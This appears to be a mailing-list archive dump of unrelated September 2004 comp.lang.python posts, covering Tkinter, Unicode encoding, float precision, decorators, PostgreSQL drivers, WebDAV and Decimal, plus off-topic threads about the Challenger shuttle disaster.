From: gwschenk at fuzz.socal.rr.com (Gary Schenk)
Date: Fri, 03 Sep 2004 22:58:35 GMT
Subject: Xah Lee's Unixism
References: <10jc7cu7e57koaa@corp.supernews.com>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
Message-ID: <vG6_c.16947$aB1.13654@twister.socal.rr.com>

In comp.lang.perl.misc Alan Balmer <albalmer at att.net> wrote:
<snip>
> 
> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s)
> is somewhat over the top. Why not blame President Bush? That's the
> popular thing nowadays.
> 

IIRC, the vice-president is in charge of the space program, so shouldn't
President Bush accept some blame?

-- 
Gary Schenk
remove "fuzz" to reply


From askari at addressNonValide.com  Sat Sep 18 09:48:41 2004
From: askari at addressNonValide.com (Askari)
Date: Sat, 18 Sep 2004 13:48:41 GMT
Subject: sys.setdefaultencoding(name)
Message-ID: <Xns9568641F5C869askariaddressNonVali@207.35.177.135>

Where is the method : "sys.setdefaultencoding(name)"?

Problem :
I want change the default encoding because I want put french letter : 
????...etc  in widget with no problem! When I use the method ".get" from a 
widget (Text, Entry), the string returned is "fucked"...
In the Entry widget, the text is (with .insert) "?t?"
When I add a "?" at end (with my keyboard), th result is "?t???" OR a 
raised error!

I find, on net, that I must use "sys.setdefaultencoding(name)".
I find find this methode in the doc (official) but the 
"setdefaultencoding" name method is not in the sys module!?! (when I print 
"dir(sys)"?!  :-(

Askari


From peter at engcorp.com  Tue Sep 28 13:08:40 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Sep 2004 13:08:40 -0400
Subject: annoying behavior
In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
Message-ID: <DPednT7KZsYEB8TcRVn-gA@powergate.ca>

Elbert Lev wrote:
> # here is the problem I ran into:
[code that uses a name before it's bound to anything]
> #here is the output:
> #AttributeError: foo instance has no attribute 'r'
> 
> # I understand why does this happen, but, to tell the truth,
> # this feature is very annoying. 
> # Are there any plans to relax this restriction? 
> # In 3.0 :)?

Uh, what feature?  You have a bug in your code.  What
you showed is *no* different than doing this and
expecting something other than an error:

 >>> print x
 >>> x = 5

Please explain in more detail why you think this
shouldn't be giving an error, and what output you
think it should have given you.

-Peter


From nid_oizo at yahoo.com_remove_the_  Wed Sep  1 17:17:47 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Wed, 01 Sep 2004 17:17:47 -0400
Subject: Rejecting the J2 decorators proposal
In-Reply-To: <mailman.2708.1094014769.5135.python-list@python.org>
References: <mailman.2708.1094014769.5135.python-list@python.org>
Message-ID: <%%qZc.18144$CG3.1201292@news20.bellglobal.com>

Guido van Rossum wrote:
> A warning: some people have shown examples of extreme uses of
> decorators. I've seen decorators proposed for argument and return type
> annotations, and even one that used a decorator to create an object
> that did a regular expression substitution. Those uses are cute, but I
> recommend being conservative when deciding between using a decorator
> or some other approach, especially in code that will see a large
> audience (like 3rd party library packages). Using decorators for type
> annotations in particular looks tedious, and this particular
> application is so important that I expect Python 3000 will have
> optional type declarations integrated into the argument list.

One of my main concern with decorators is that they look complex for 
simple things like static methods and argument types.  I'm becomming 
off-topic, but in Python 3000, self could also become a keyword and make 
normal/static methods automatically and minimalistically.  I think it 
has some charm since self would only be necessary when used.  If class 
methods are useful, they can still be made with decorators.

> Thanks to everyone who read until the end of this message!

I was a J2 supporter and I'm happy with your decision.  Looking at the 
pool on Wiki, it seems many would have prefer an inside-body solution (I 
guess we're used to docstrings) (but it was considered ruled out, so we 
rallied on something else), but @decorators current syntax is very 
usable.  When I compare Python to other languages, there's no doubt we 
can trust your decisions.  Thanks to you for Python!

Regards,
Nicolas


From drysdam at ll.mit.edu  Wed Sep 15 08:44:42 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Wed, 15 Sep 2004 08:44:42 -0400
Subject: funcs vs vars in global namespace
In-Reply-To: <A6W1d.14$26.12@llslave.llan.ll.mit.edu>
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
	<1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
	<z_B1d.5$26.4@llslave.llan.ll.mit.edu>
	<1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com>
	<8KD1d.10$26.4@llslave.llan.ll.mit.edu>
	<1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com>
	<H2G1d.11$26.2@llslave.llan.ll.mit.edu>
	<1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com>
	<4IG1d.13$26.5@llslave.llan.ll.mit.edu>
	<ci7m0h$jl1$0$216.39.172.122@theriver.com>
	<A6W1d.14$26.12@llslave.llan.ll.mit.edu>
Message-ID: <_OW1d.16$26.10@llslave.llan.ll.mit.edu>

David Rysdam wrote:

> 
> Aha, yes indeed this gives me ideas.  Very excellent tutorial, I've 
> saved it for when I manage to confuse myself again later.  I think I 
> know just how to do what I want to do now, though I'm beginning to 
> question the wisdom of providing the feature in question at all.  But if 
> I'm going to, it should be right, so I still thank you.

I knew I was doing this the wrong way and I've just realized what the 
Right Way is: I should just use objects instead of trying to manipulate 
dictionaries.  When I make a new version of the "API", I just create a 
new class to inherit from the previous version.

I'm a bit concerned that it took me so long to realize this...


From abra9823 at mail.usyd.edu.au  Fri Sep 17 07:28:08 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Fri, 17 Sep 2004 21:28:08 +1000
Subject: gui - wait for dialog to close
Message-ID: <1095420488.414aca48652a5@www-mail.usyd.edu.au>

hi!

i have an application which requires a username
what i am trying to do is when the application runs, a dialog window
appears which prompts the user for his name. once thats entered, the
dialog box is destroyed, the username stored and the application gui is
drawn

i tried doing this by adding a wait_window call in my application GUI's
init.
the idea was to suspend execution till the username is entered and the
dialog box destroyed before continuing.

that didn't work
how can i do this? i have the option of creating the dialog box and when
the username is entered then in the function that handles the username,
create the rest of the GUI. i was wondering if there is any other way

thanks

cheers




----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From gerrit at nl.linux.org  Mon Sep 13 06:14:46 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 13 Sep 2004 12:14:46 +0200
Subject: confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9
In-Reply-To: <1095069998.11424.0.camel@illuvatar>
References: <mailman.0.1095069999.8368.python-list@python.org>
	<1095069998.11424.0.camel@illuvatar>
Message-ID: <20040913101446.GA20692@nl.linux.org>

Hi,

you have accidently replied to the list, instead of to
python-list-request at python.org. You have not been unsubscribed, and
everyone subscribed to the list has seen your message

Jonathan Brandmeyer wrote:
...
> > We have received a request for the removal of your email address,
> > "jbrandmeyer at earthlink.net" from the python-list at python.org mailing
> > list.  To confirm that you want to be removed from this mailing list,
> > simply reply to this message, keeping the Subject: header intact.  Or
> > visit this web page:
> > 
> >     http://mail.python.org/mailman/confirm/python-list/b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9
> > 
> > 
> > Or include the following line -- and only the following line -- in a
> > message to python-list-request at python.org:
> > 
> >     confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9
...

yours,
Gerrit.

-- 
Weather in Twenthe, Netherlands 13/09 11:25:
	18.0?C Scattered clouds mostly cloudy wind 7.2 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep 16 19:06:02 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Fri, 17 Sep 2004 01:06:02 +0200
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
References: <cicsha$prl@odbk17.prod.google.com>
Message-ID: <cidu0u$r6g$1@news-reader5.wanadoo.fr>

re

and, also, perhaps :  GTK#, WxWidget for .Net,  and Winform  


 (with IronPython ?) 




From mailtome200420032002 at yahoo.com  Sat Sep 18 02:37:29 2004
From: mailtome200420032002 at yahoo.com (john)
Date: 17 Sep 2004 23:37:29 -0700
Subject: Database->python->Xml->Xslt->Client
Message-ID: <4c900ea0.0409172237.3e5abf25@posting.google.com>

Hi
I am devlopeing a data centric intranetsite with data in mysql
database
I would like your opinion on this architecture
Data will be fetched from database by python & converted into xml
The XSLT will be stored on the client cache.So only the xml is
transferred to client & the xslt transforms it into xhtml & displays
it.
Will this improve performance or have i gone nuts??


From forestiero at qwest.net  Sat Sep 18 12:58:26 2004
From: forestiero at qwest.net (DogWalker)
Date: Sat, 18 Sep 2004 09:58:26 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
Message-ID: <000801c49da0$baedeea0$e2920043@presario>

Have a look at the FAQ (before the response to your message builds).

----- Original Message ----- 
From: Radioactive Man 
Newsgroups: comp.lang.python
To: python-list at python.org 
Sent: Saturday, September 18, 2004 9:50 AM
Subject: Math errors in python


In python 2.3 (IDLE 1.0.3) running under windows 95, I get the
following types of errors whenever I do simple arithmetic:
      
1st example:
>>> 12.10 + 8.30
20.399999999999999
>>> 1.1 - 0.2
0.90000000000000013


2nd example(no errors here):
>>> bool(130.0 - 129.0 == 1.0)
True


3rd example:
>>> a = 0.013
>>> b = 0.0129
>>> c = 0.0001
>>> [a, b, c]
[0.012999999999999999, 0.0129, 0.0001]
>>> bool((a - b) == c)
False


This sort of error is no big deal in most cases, but I'm sure it could
become a problem under certain conditions, particularly the 3rd
example, where I'm using truth testing.  The same results occur in all
cases whether I define variables a, b, and c, or enter the values
directly into the bool statement.  Also, it doesn't make a difference
whether "a = 0.013" or "a = 0.0130".

I haven't checked this under windows 2000 or XP, but I expect the same
thing would happen.  Any suggestions for a way to fix this sort of
error?
-- 
http://mail.python.org/mailman/listinfo/python-list


From aleaxit at yahoo.com  Tue Sep 14 10:12:07 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 16:12:07 +0200
Subject: tkinter question
References: <mailman.3295.1095166157.5135.python-list@python.org>
Message-ID: <1gk427p.1efngkj1x7k21iN%aleaxit@yahoo.com>

Ajay <abra9823 at mail.usyd.edu.au> wrote:

> hi!
> 
> in my gui i have a set of radio buttons and some entry widgets.
> what i'd like is that unless a particular radio button is selected, i
> shouldn't be able to enter information in the entry widget.
> 
> how would i do that? make the widget non-editable?

theEntry.config(state=DISABLED)

Remember that while the entry is disabled you can't alter its text, e.g.
with insert and delete, you need to set state back to NORMAL
(transiently) to modify the text in an Entry widget.


Alex


From clifford.wells at comcast.net  Sun Sep 19 07:47:21 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 19 Sep 2004 04:47:21 -0700
Subject: Determining if a client PC has an Internet connection
In-Reply-To: <cijqn7$j2$1@news-reader1.wanadoo.fr>
References: <mailman.3489.1095578305.5135.python-list@python.org>
	<cijqn7$j2$1@news-reader1.wanadoo.fr>
Message-ID: <1095594441.31957.311.camel@devilbox.devilnet.internal>

On Sun, 2004-09-19 at 13:31 +0200, Michel Claveau - abstraction m?ta-
galactique non triviale en fuite perp?tuelle. wrote:
> Hi !
> 
> Not only Internet, but with good suspicion : test if IP-passerelle is
> present and answer to ping.

Sorry, you lost me here: passerelle == bridge?

> Then Ping one or two IP "externals and stables".

Again, I don't follow.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From michele.simionato at gmail.com  Tue Sep 14 02:14:31 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 13 Sep 2004 23:14:31 -0700
Subject: time.strptime
Message-ID: <4edc17eb.0409132214.48c191d@posting.google.com>

I have strings representing UTC dates and I want to convert them in time tuples
using time.strptime. I have an issue with daylight savings.
For instance

Tue Sep 14 06:06:15 2004

is converted to

(2004, 9, 14, 6, 6, 15, 1, 258, -1)

The last "-1" means daylight savings. I want it to be 0.
I tried to play with time.daylight and time.timezone but with no luck.
Any hints?
TIA,

             Michele Simionato


From cgibbs at kltpzyxm.invalid  Tue Sep  7 13:44:24 2004
From: cgibbs at kltpzyxm.invalid (Charlie Gibbs)
Date: 07 Sep 04 09:44:24 -0800
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch><87hdqptl96.fsf_-_@thalassa.informatimago.com><4PGdnfsOfdDPi63cRVn-tA@speakeasy.net><slrncj1745.t5q.amajorel@atc5.vermine.org><41337FC9.8070902@hotmail.com><slrncj7hhh.2pt.amajorel@atc5.vermine.org><p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com><slrncj8m5n.2pt.amajorel@atc5.vermine.org><%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net><2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com><opsdpdzglzpqzri1@mjolner.upc.no><slrncjep0f.oa.amajorel@vulcain.knox.com><opsdpprvxppqzri1@mjolner.upc.no><slrncjf52a.oa.amajorel@vulcain.knox.com>
	<20040904.0140.57670snz@dsl.co.uk>
Message-ID: <769.746T1245T5844062@kltpzyxm.invalid>

In article <20040904.0140.57670snz at dsl.co.uk>, bhk at dsl.co.uk
(Brian {Hamilton Kelly}) writes:

>On Thursday, in article
><slrncjf52a.oa.amajorel at vulcain.knox.com> amajorel at teezer.fr
>"Andre Majorel" wrote:
>
>> Are you arguing that the stability comes from the API, not from
>> the implementation ? If so, why has NT become more stable over
>> the years, since its API has not changed ?
>
>I'd like to imagine that it's because there are fewer fuckwits using
>it; BICBW....

Does this mean that XP is getting less stable?

--
/~\  cgibbs at kltpzyxm.invalid (Charlie Gibbs)
\ /  I'm really at ac.dekanfrus if you read it the right way.
 X   Top-posted messages will probably be ignored.  See RFC1855.
/ \  HTML will DEFINITELY be ignored.  Join the ASCII ribbon campaign!



From jcarter at johmar.engr.sgi.com  Wed Sep 22 12:19:01 2004
From: jcarter at johmar.engr.sgi.com (Jack Carter)
Date: Wed, 22 Sep 2004 09:19:01 -0700 (PDT)
Subject: namespace/dictionary quandry
In-Reply-To: Peter Otten <__peter__@web.de>
	"Re: namespace/dictionary quandry" (Sep 21,  8:54am)
References: <mailman.3474.1095464076.5135.python-list@python.org> 
	<cigt4h$mrf$05$1@news.t-online.com> 
	<mailman.3584.1095704635.5135.python-list@python.org> 
	<cioj7k$o6$02$1@news.t-online.com>
Message-ID: <10409220919.ZM977219@johmar.engr.sgi.com>

Peter,

Actually although your solution is a good one, it won't
really help me because of the nature of our command language.

We have commands in the form of:

    result = <command_name> <filename> -e <experiment_name>

I currently scan ahead for <command_name> and could do so for
the rest to prevent them from being evaluated by python by
packing them with quotes and then unpacking them later. The
problem lies in the case where the name being used in the
commandline may or may not be a formal name such as a filename
or may be a variable that will evaluate into a filename.

This will be used in a list of filenames or a list of experiment
names iterated through a for loop.

>>> for name in (['file1','file2','file3']):
...  expClose name
...
expClose: ['file1']
expClose: ['file2']
expClose: ['file3']

But when the user tries to use a formal name that is
not through a python variable he/she hits an undefine
name error:

>>> expClose file4
Traceback (most recent call last):
  File "<console>", line 1, in ?
NameError: name 'file4' is not defined

If I prescan the <filename> and pack it with quotes I
lose the python evaluation of the name.

The same problem will occur with all my other option arguments
for which there are many.

The solution it would seem would be to do the evaluation
later within the called function. That way I could assume
that all failed eval()'ed names are literals meant for my
command and not a python variable/name.

If this makes sense, the problem I need to solve is how to
deliver the correct namespace dictionary to the called function
so I can invoke eval with it.

Does this make sense?

Regards,

Jack


From linuxtrooper at yahoo.com  Thu Sep  2 17:26:32 2004
From: linuxtrooper at yahoo.com (Tongu? Yumruk)
Date: 2 Sep 2004 14:26:32 -0700
Subject: A little stricter type checking
Message-ID: <ef9924de.0409021326.6e72802b@posting.google.com>

I have a little proposal about type checking in python. I'll be glad
if you read and comment on it. Sorry for my bad english (I'm not a
native English speaker)

A Little Stricter Typing in Python - A Proposal

As we all know, one of the best things about python and other
scripting languages is dynamic typing (yes I know it has advantages
and disadvantages but I will not discuss them now). Dynamic typing
allows us to change types of variables on the fly, and frees us from
the redundant work of defining variables, and their types. On the
other hand in languages like C, java etc... where types are strict ve
have the guarantee that the variables will always be the same type
without any change.

For example think that you are writing a utility function for a
library. In python you just define the function name and the name of
the parameters but you can never know the variables that has been
passed from parameters will always function as you planned. If you
want to be sure, you need to explicitly check if the variable has the
correct type. On the other side for example in C you don't need to
check the types of variables since the compiler will complain if there
are incompatible types. But this approach also limits the flexibility
and destroys the advantages of dynamic typing. What we need is a way
to define types of the parameters in a flexible way. So Here it is...

We can use operators like those we use in boolean operations. For
exampla lets assume that we have a function that take one parameter
which needs to be an instance of class foo, or an instance of a
subclass of foo. In current style it will look like that:
def larry(guido):
	<some checks to be sure that guido is an instance of foo or an
instance of a subclass of foo>
	<Actual code>

Well always checking the types of the parameters in the start of every
function is too many redundant work. Instead we can define a syntax
that will check the type information at the beginning of function
declaration, and even before executing any code from that function.
That syntax might look like that:

def larry(guido >= foo):
	<Just actual code, no checking since the interpreter handles it>

And if we have a function that have much more parameters, this kind of
a syntax will really help us to remove redundant code from our
functions. The syntax can be defined by something like:
Symbol	: Definition
==	: The parameter is an instance of a given class for example: d ==
dict
>=	: The parameter is an instance of the given class or one of its
	  subclasses
<=	: The parameter is an instance of the given class or one of its
parent
	  classes

This list can be expanded to include != or even a more fantastic
operator: "in" so that we can check if the parameter has a specific
attribute before executing our function.

The best thing about this approach is that while keeping flexibility
it adds better type checking and it keeps the compatibility with old
code.

So that's all for now... All comments are welcome.


From aleaxit at yahoo.com  Fri Sep  3 04:30:17 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 3 Sep 2004 10:30:17 +0200
Subject: Modules are hashable?!
References: <2pld08Fm7mo8U1@uni-berlin.de>
	<1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com>
	<4137ed92$1@news.unimelb.edu.au>
	<ch8rkp$ncp$1@news.service.uci.edu> <4137f84c@news.unimelb.edu.au>
Message-ID: <1gjj8wf.8gtwx31y99tneN%aleaxit@yahoo.com>

Maurice LING <mauriceling at acm.org> wrote:

> is there actually a practical reason to hash modules? can I call a 
> module using the hash key?

You cannot call a module: a module does not have a __call__ method.
This has nothing to do with hashing.

A practical reason to hash modules would be to associate to each module
some value or group of values -- without sticking those values in the
module itself -- or keep track of a set of modules having some special
characteristic whereby you want to "logically group them together" as
the set of keys into a certain dict (or in 2.4 the elements of a certain
set, since set is now a builtin type).

Consider for example a module that starts:

import foo, fee, fie, fo, fum, bar, baz, bat
yet_untested_modules = dict.fromkeys([ fee, bar, baz ])

later on you might have code like

if somemodule in yet_untested_modules:
    somemodule.perform_all_tests()
    del yet_untested_modules[somemodule]

for "just in time testing" of a certain set of modules.  OK, weird-ish,
but it's what I could come up in 20 seconds;-).  To have modules as dict
keys or set members they must be hashable, and since there's no reason
to make them unhashable, why not?


Alex


From mwh at python.net  Fri Sep  3 10:46:03 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 3 Sep 2004 14:46:03 GMT
Subject: Sequence Protocol, assign item
References: <ch81gl$avb$1@schleim.qwe.de>
Message-ID: <m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk>

Torsten Mohr <tmohr at s.netic.de> writes:

> Hi everybody,
> 
> at the moment i try to write an extension module in C
> and i implement the sequence protocol for the data type
> i created.  Reading values works fine.
> 
> But assigning a value does not work correctly, has anybody
> got an example for that?
> 
> The function type i have to create is intobjargproc, so
> i need to return an "int".  Returning 0 or 1 does not seem
> to work.
> 
> What can the return value be, what can i return her in case
> of failure and in case od success?
> 
> I don't use any INCREF or DECREF inside my function, do i need
> to do that for some parameters?  The exact error message i
> don't have available at the moment, i'll bring that one tomorrow,
> but it looks to me that at the cleanup at the end of the script
> an exception is thrown somewhere.

I suggest you look at the implementation of, say, lists in the Python
source distribution (Objects/listobject.c).

This is another way of saying I don't remember the answer to your
question :-)

Cheers,
mwh

-- 
  <shapr> ucking keyoar
                                                -- from Twisted.Quotes


From missive at frontiernet.net  Fri Sep 10 15:55:47 2004
From: missive at frontiernet.net (Lee Harr)
Date: Fri, 10 Sep 2004 19:55:47 GMT
Subject: Postgresql - Preferred Python Library
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116>
	<mailman.3136.1094804452.5135.python-list@python.org>
Message-ID: <slrnck41m2.2bjj.missive@homer.localdomain>

On 2004-09-10, Matt Goodall <matt at pollenation.net> wrote:
> I've just started experimenting with psycopg2
> (http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good.
>
> As far as I know, psycopg2 is the only DB-API 2.0 implementation for
> PostgreSQL that uses Python 2.3's datetime types by default.


ooh, aah.   :o)

Yes, the datetime handling in the older psycopg was getting on my
nerves... Native datetime is going to make things much nicer.

That said, psycopg works very well for me.

The only other thing that is a bit strange is passing array
types in to the database. I have been using this:

alist = ['foo', 'bar']
query = 'SELECT ARRAY%(alist)s'
execute(query, locals())

It works perfectly well, but it seems a bit strange...



From jmfbahciv at aol.com  Mon Sep  6 07:26:22 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Mon, 06 Sep 04 11:26:22 GMT
Subject: Xah Lee's Unixism
References: <Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13> <1bpt51alai.fsf@cs.nmsu.edu>
	<1094329053.514935@teapot.planet.gong>
	<idr_c.307648$OB3.136180@bgtnsc05-news.ops.worldnet.att.net>
	<871xhgh8im.fsf@k9.prep.synonet.com>
Message-ID: <413c5c55$0$19705$61fed72c@news.rcn.com>

In article <871xhgh8im.fsf at k9.prep.synonet.com>,
   Paul Repacholi <prep at prep.synonet.com> wrote:
>Nick Landsberg <SPAMhukolauTRAP at SPAMworldnetTRAP.att.net> writes:
>
>>> Indeed, it could have failed in a way entirely unique to
>>> itself... :) The O-Ring thing had been identified, was preventable
>>> and should have been prevented. Sure, perhaps the design did suck,
>>> but the point is the whole disaster was trivially avoidable if the
>>> people running the show were willing to grasp the nettle.
>
>> Since we're so far off-topic here anyway ...
>
>> It has been so many years since the Challenger disaster that memory
>> fades (especially at my age), so bear with me if a misremember
>> something.
>
>> As I recall, the particular launch happened during an unusual cold
>> spell in Florida.  I also recall that the investigation uncovered
>> strong recommendations by several senior engineers, prior to launch,
>> that the launch should be postponed because the system (shuttle and
>> boosters) had never been launched during those kinds of weather
>> conditions.  (It could very well be that they might have pointed out
>> the O-rings specifically, but I don't recall.)  Some
>> managementcritter at some level (probably in NASA) ignored or
>> overruled those recommendations.  I can only conjecture that this
>> was because that the prevailing culture (in most corporations, then
>> and now) is "we have to meet our schedules."
>
>Grab a copy of `Genius', Gleiks bio of RF and read the end chapters
>and note what was `leaked' to him.
>
>Before the launch, it was known that they where colder than any
>previous launch, and that the seal erosion problems they worried about
>where wose in colder conditions.
>
>The engineers wanted to holdm but that would have meant Ronny Raygun
>could not grandstand on TV, so N.A.S.A.

Somebody just wrote in another newsgroup that the two pilots
of the shuttle used to sit in ejectable seats but the others
didn't.  So politically correct equal employment opportunity
PHBs eliminated the ejections because it wasn't fair to rest of 
the crew.

There is something wrong with this logic.

/BAH


Subtract a hundred and four for e-mail.


From alanmk at hotmail.com  Wed Sep  8 14:07:09 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Wed, 08 Sep 2004 19:07:09 +0100
Subject: WebDAV Server
In-Reply-To: <m3n0009a10.fsf@frank.xprtcc.com>
References: <m3n0009a10.fsf@frank.xprtcc.com>
Message-ID: <uOH%c.26851$Z14.8686@news.indigo.ie>

[Jody Winston]
> I'd like to present a view of an internal data store, which has Python
> interface built using SWIG, so that my users can traverse and
> manipulate the data store using familiar tools.  

Have you considered using something like pythonfs: "Linux Filesystem 
Drivers for backends written in Python"?

http://pythonfs.sourceforge.net/

Your backend could be your swig-wrapped internal data store. Then your 
users could use familiar file management tools on your data store.

It could be exposed to a web server as the document root of the server: 
which would be nice because you could pick any standard webserver and 
not require it to be in python: every webserver understands filesystems.

Same argument applies to webdav, i.e. you could use a native webdav 
module for, say, Apache, layered over your data-store "filesystem".

[Jody Winston]
> My first thought was
> to adapt an existing WebDAV server.  

I'm not sure that adapting someone elses webdav component would be the 
most appropriate solution. Most such modules will likely apply their own 
semantics to webdav methods and properties, which are relevant only to 
their own intended storage mechanism. Take, for example, the subversion 
module for apache, which has webdav support. But it performs all webdav 
operations directly on the contents of a subversion repository, which 
has versioning, branching, labelling semantics, etc.

If you just wanted a read-only view of your data store, I would suggest 
using a web framework such as quixote to map uris to your 
(hierarchical?) data store somehow. Quixote is structured around the 
concept of mapping uris to python objects in a straightforward and 
configurable manner, so it might be a good fit. You could then extend 
the model to support PUT, POST, HEAD, OPTIONS, etc, methods as well. By 
which time you would have implemented a significant proportion of WEBDAV :-)

Which leads onto the question: what operations do you intend to 
facilitate on your data store? What kinds of tools do you wish to allow 
people to use to access it, and what kinds of operations should those 
tools support?

For instance, if your data is more relational than hierarchical, it 
might be more appropriate to write an ODBC front-end for your datastore?

regards,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From uthand at hotmail.com  Wed Sep  8 12:44:00 2004
From: uthand at hotmail.com (Fritz Bosch)
Date: 8 Sep 2004 09:44:00 -0700
Subject: Import into specified namespace
Message-ID: <cf038e65.0409080844.16289c78@posting.google.com>

Hi experts

Is is possible to import/manipulate a module such that
I can supply its __dict__?

I want to supply my own dict subclass object to be filled
by the import, e.g. a class like:

>>> class MyModuleDict(dict):
... 	def __setitem__(self,name,val):
... 		print name, val
... 		dict.__setitem__(self,name,val)

__dict__ is a readonly attribute, so I can't change it after
the import, i.e. the following doesn't work:

>>> import sys
>>> mydic = MyModuleDict()
>>> mydic.update(sys.__dict__)
>>> sys.__dict__ = mydic
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
TypeError: readonly attribute

I have experimented with new.module(), __import__(),
imp.*, exec/eval/execfile+globals/locals but to no avail.

Is there any way to do this?

Thanks
Fritz


From tdelaney at avaya.com  Fri Sep  3 02:33:00 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 3 Sep 2004 16:33:00 +1000
Subject: Announcing PyCs, a new Python-like language on .Net
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01E44FFC@au3010avexu1.global.avaya.com>

Alex Martelli write:

> You can always retrofit an acronym onto a cool name if that's
> your game, after all. 

BTW, that's often known as a backronym ... ;)

Tim Delaney


From beliavsky at 127.0.0.1  Wed Sep  1 14:12:14 2004
From: beliavsky at 127.0.0.1 (beliavsky@aol.com)
Date: 1 Sep 2004 13:12:14 -0500
Subject: function returning a list
References: <ch52ou$bp4$1@solaris.cc.vt.edu>
Message-ID: <413610fe$1_1@127.0.0.1>


Brad Tilley <bradtilley at usa.net> wrote:
>Can a function return a list?

Yes, it can return anything. Here is a trivial example:

def twice(x):
    return 2*x

print twice(1.0)   # 2.0
print twice([1.0]) # [1.0, 1.0]

Note that "2*x" has a very different effect, depending on what "x" is.



----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==----
http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups
---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =---


From carribeiro at gmail.com  Thu Sep 23 08:32:34 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 09:32:34 -0300
Subject: Why not FP for Money?
In-Reply-To: <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
Message-ID: <864d3709040923053223313285@mail.gmail.com>

On 23 Sep 2004 11:56:40 GMT, Duncan Booth <duncan.booth at invalid.invalid> wrote:
> Can you give a use-case where you would actually write $1.00 + 0.99212
> rather than, say, 'balance + interest'?

For systems development, you're probably right. But for
quick-and-dirty scripting or even interactive usage, a direct notation
is cleaner, more readable, and les obstrusive than to have to specify
it as in:

Money("1.00")
 
> For that matter can you give a use case where you actually need to write
> fixed point decimal literals in your code rather than taking them out of a
> configuration file?

Well, actually I don't see any reason why I should be precluded from
writing fixed point literals in my code. Why should I need a
configuration file, or a database, for everything that I do with fixed
point numbers? That's similar to saying that I don't need to be able
to write Unicode literals, because I can always read them from a file
(and you know how much trouble Unicode support is right now --
encoding stuff, etc).

Besides that, that's a problem with convenience. 2.4 Decimal type
can't be constructed from a float -- one has to use a string. I think
this does introduce unnecessary clutter in code. That's a quote from
from : What's new on Python 2.4":

http://www.python.org/dev/doc/devel/whatsnew/node8.html
"""
